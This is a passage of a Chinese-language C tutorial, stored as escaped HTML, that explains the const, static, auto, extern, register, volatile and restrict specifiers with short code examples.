c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// const 表示地址 x 不能修改\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* \u003cspan class=\"type\"\u003econst\u003c/span\u003e x\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e下面示例中,对\u003ccode\u003ex\u003c/code\u003e进行修改导致报错。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e p = \u003cspan class=\"number\"\u003e1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* \u003cspan class=\"type\"\u003econst\u003c/span\u003e x = \u0026amp;p;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ex++; \u003cspan class=\"comment\"\u003e// 报错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这两者可以结合起来。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* \u003cspan class=\"type\"\u003econst\u003c/span\u003e x;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,指针变量\u003ccode\u003ex\u003c/code\u003e指向一个字符串。两个\u003ccode\u003econst\u003c/code\u003e意味着,\u003ccode\u003ex\u003c/code\u003e包含的内存地址以及\u003ccode\u003ex\u003c/code\u003e指向的字符串,都不能修改。\u003c/p\u003e\u003cp\u003e\u003ccode\u003econst\u003c/code\u003e的一个用途,就是防止函数体内修改函数参数。如果某个参数在函数体内不会被修改,可以在函数声明时,对该参数添加\u003ccode\u003econst\u003c/code\u003e说明符。这样的话,使用这个函数的人看到原型里面的\u003ccode\u003econst\u003c/code\u003e,就知道调用函数前后,参数数组保持不变。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003efind\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e* arr, \u003cspan class=\"type\"\u003eint\u003c/span\u003e n)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,函数\u003ccode\u003efind\u003c/code\u003e的参数数组\u003ccode\u003earr\u003c/code\u003e有\u003ccode\u003econst\u003c/code\u003e说明符,就说明该数组在函数内部将保持不变。\u003c/p\u003e\u003cp\u003e有一种情况需要注意,如果一个指针变量指向\u003ccode\u003econst\u003c/code\u003e变量,那么该指针变量也不应该被修改。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* j = \u0026amp;i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e*j = \u003cspan class=\"number\"\u003e2\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 报错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003ej\u003c/code\u003e是一个指针变量,指向变量\u003ccode\u003ei\u003c/code\u003e,即\u003ccode\u003ej\u003c/code\u003e和\u003ccode\u003ei\u003c/code\u003e指向同一个地址。\u003ccode\u003ej\u003c/code\u003e本身没有\u003ccode\u003econst\u003c/code\u003e说明符,但是\u003ccode\u003ei\u003c/code\u003e有。这种情况下,\u003ccode\u003ej\u003c/code\u003e指向的值也不能被修改。\u003c/p\u003e\u003ch3 id=\"static\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#static\" class=\"headerlink\" title=\"static\"\u003e\u003c/a\u003estatic\u003c/h3\u003e\u003cp\u003e\u003ccode\u003estatic\u003c/code\u003e说明符对于全局变量和局部变量有不同的含义。\u003c/p\u003e\u003cp\u003e(1)用于局部变量(位于块作用域内部)。\u003c/p\u003e\u003cp\u003e\u003ccode\u003estatic\u003c/code\u003e用于函数内部声明的局部变量时,表示该变量的值会在函数每次执行后得到保留,下次执行时不会进行初始化,就类似于一个只用于函数内部的全局变量。由于不必每次执行函数时,都对该变量进行初始化,这样可以提高函数的执行速度,详见《函数》一章。\u003c/p\u003e\u003cp\u003e(2)用于全局变量(位于块作用域外部)。\u003c/p\u003e\u003cp\u003e\u003ccode\u003estatic\u003c/code\u003e用于函数外部声明的全局变量时,表示该变量只用于当前文件,其他源码文件不可以引用该变量,即该变量不会被链接(link)。\u003c/p\u003e\u003cp\u003e\u003ccode\u003estatic\u003c/code\u003e修饰的变量,初始化时,值不能等于变量,必须是常量。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e n = \u003cspan class=\"number\"\u003e10\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003estatic\u003c/span\u003e m = n; \u003cspan class=\"comment\"\u003e// 报错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,变量\u003ccode\u003em\u003c/code\u003e有\u003ccode\u003estatic\u003c/code\u003e修饰,它的值如果等于变量\u003ccode\u003en\u003c/code\u003e,就会报错,必须等于常量。\u003c/p\u003e\u003cp\u003e只在当前文件里面使用的函数,也可以声明为\u003ccode\u003estatic\u003c/code\u003e,表明该函数只在当前文件使用,其他文件可以定义同名函数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003estatic\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eg\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e i)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"auto\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#auto\" class=\"headerlink\" title=\"auto\"\u003e\u003c/a\u003eauto\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eauto\u003c/code\u003e说明符表示该变量的存储,由编译器自主分配内存空间,且只存在于定义时所在的作用域,退出作用域时会自动释放。\u003c/p\u003e\u003cp\u003e由于只要不是\u003ccode\u003eextern\u003c/code\u003e的变量(外部变量),都是由编译器自主分配内存空间的,这属于默认行为,所以该说明符没有实际作用,一般都省略不写。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eauto\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"extern\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#extern\" class=\"headerlink\" title=\"extern\"\u003e\u003c/a\u003eextern\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eextern\u003c/code\u003e说明符表示,该变量在其他文件里面声明,没有必要在当前文件里面为它分配空间。通常用来表示,该变量是多个文件共享的。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eextern\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码中,\u003ccode\u003ea\u003c/code\u003e是\u003ccode\u003eextern\u003c/code\u003e变量,表示该变量在其他文件里面定义和初始化,当前文件不必为它分配存储空间。\u003c/p\u003e\u003cp\u003e但是,变量声明时,同时进行初始化,\u003ccode\u003eextern\u003c/code\u003e就会无效。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// extern 无效\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eextern\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码中,\u003ccode\u003eextern\u003c/code\u003e对变量初始化的声明是无效的。这是为了防止多个\u003ccode\u003eextern\u003c/code\u003e对同一个变量进行多次初始化。\u003c/p\u003e\u003cp\u003e函数内部使用\u003ccode\u003eextern\u003c/code\u003e声明变量,就相当于该变量是静态存储,每次执行时都要从外部获取它的值。\u003c/p\u003e\u003cp\u003e函数本身默认是\u003ccode\u003eextern\u003c/code\u003e,即该函数可以被外部文件共享,通常省略\u003ccode\u003eextern\u003c/code\u003e不写。如果只希望函数在当前文件可用,那就需要在函数前面加上\u003ccode\u003estatic\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eextern\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003ef\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e i)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003ef\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e i)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"register\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#register\" class=\"headerlink\" title=\"register\"\u003e\u003c/a\u003eregister\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eregister\u003c/code\u003e说明符向编译器表示,该变量是经常使用的,应该提供最快的读取速度,所以应该放进寄存器。但是,编译器可以忽略这个说明符,不一定按照这个指示行事。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eregister\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003eregister\u003c/code\u003e提示编译器,变量\u003ccode\u003ea\u003c/code\u003e会经常用到,要为它提供最快的读取速度。\u003c/p\u003e\u003cp\u003e\u003ccode\u003eregister\u003c/code\u003e只对声明在代码块内部的变量有效。\u003c/p\u003e\u003cp\u003e设为\u003ccode\u003eregister\u003c/code\u003e的变量,不能获取它的地址。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eregister\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e *p = \u0026amp;a; \u003cspan class=\"comment\"\u003e// 编译器报错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003e\u0026amp;a\u003c/code\u003e会报错,因为变量\u003ccode\u003ea\u003c/code\u003e可能放在寄存器里面,无法获取内存地址。\u003c/p\u003e\u003cp\u003e如果数组设为\u003ccode\u003eregister\u003c/code\u003e,也不能获取整个数组或任一个数组成员的地址。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eregister\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a[] = {\u003cspan class=\"number\"\u003e11\u003c/span\u003e, \u003cspan class=\"number\"\u003e22\u003c/span\u003e, \u003cspan class=\"number\"\u003e33\u003c/span\u003e, \u003cspan class=\"number\"\u003e44\u003c/span\u003e, \u003cspan class=\"number\"\u003e55\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e p = a; \u003cspan class=\"comment\"\u003e// 报错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a = *(a + \u003cspan class=\"number\"\u003e2\u003c/span\u003e); \u003cspan class=\"comment\"\u003e// 报错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e历史上,CPU 内部的缓存,称为寄存器(register)。与内存相比,寄存器的访问速度快得多,所以使用它们可以提高速度。但是它们不在内存之中,所以没有内存地址,这就是为什么不能获取指向它们的指针地址。现代编译器已经有巨大的进步,不管是否使用\u003ccode\u003eregister\u003c/code\u003e关键字,都会尽可能使用寄存器,所以不保证一定会把这些变量放到寄存器。\u003c/p\u003e\u003ch3 id=\"volatile\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#volatile\" class=\"headerlink\" title=\"volatile\"\u003e\u003c/a\u003evolatile\u003c/h3\u003e\u003cp\u003e\u003ccode\u003evolatile\u003c/code\u003e说明符表示所声明的变量,可能会预想不到地发生变化(即其他程序可能会更改它的值),不受当前程序控制,因此编译器不要对这类变量进行优化,每次使用时都应该查询一下它的值。硬件设备的编程中,这个说明符很常用。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003evolatile\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e foo;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003evolatile\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e* bar;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003evolatile\u003c/code\u003e的目的是阻止编译器对变量行为进行优化,请看下面的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e foo = x;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 其他语句,假设没有改变 x 的值\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e bar = x;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码中,由于变量\u003ccode\u003efoo\u003c/code\u003e和\u003ccode\u003ebar\u003c/code\u003e都等于\u003ccode\u003ex\u003c/code\u003e,而且\u003ccode\u003ex\u003c/code\u003e的值也没有发生变化,所以编译器可能会把\u003ccode\u003ex\u003c/code\u003e放入缓存,直接从缓存读取值(而不是从 x 的原始内存位置读取),然后对\u003ccode\u003efoo\u003c/code\u003e和\u003ccode\u003ebar\u003c/code\u003e进行赋值。如果\u003ccode\u003ex\u003c/code\u003e被设定为\u003ccode\u003evolatile\u003c/code\u003e,编译器就不会把它放入缓存,每次都从原始位置去取\u003ccode\u003ex\u003c/code\u003e的值,因为在两次读取之间,其他程序可能会改变\u003ccode\u003ex\u003c/code\u003e。\u003c/p\u003e\u003ch3 id=\"restrict\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#restrict\" class=\"headerlink\" title=\"restrict\"\u003e\u003c/a\u003erestrict\u003c/h3\u003e\u003cp\u003e\u003ccode\u003erestrict\u003c/code\u003e说明符允许编译器优化某些代码。它只能用于指针,表明该指针是访问数据的唯一方式。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e pt = (\u003cspan class=\"type\"\u003eint\u003c/span\u003e*) \u003cspan class=\"built_in\"\u003emalloc\u003c/span\u003e(\u003cspan class=\"number\"\u003e10\u003c/span\u003e * \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003erestrict\u003c/code\u003e表示变量\u003ccode\u003ept\u003c/code\u003e是访问 malloc 所分配内存的唯一方式。\u003c/p\u003e\u003cp\u003e下面例子的变量\u003ccode\u003efoo\u003c/code\u003e,就不能使用\u003ccode\u003erestrict\u003c/code\u003e修饰符。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e foo[\u003cspan class=\"number\"\u003e10\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* bar = 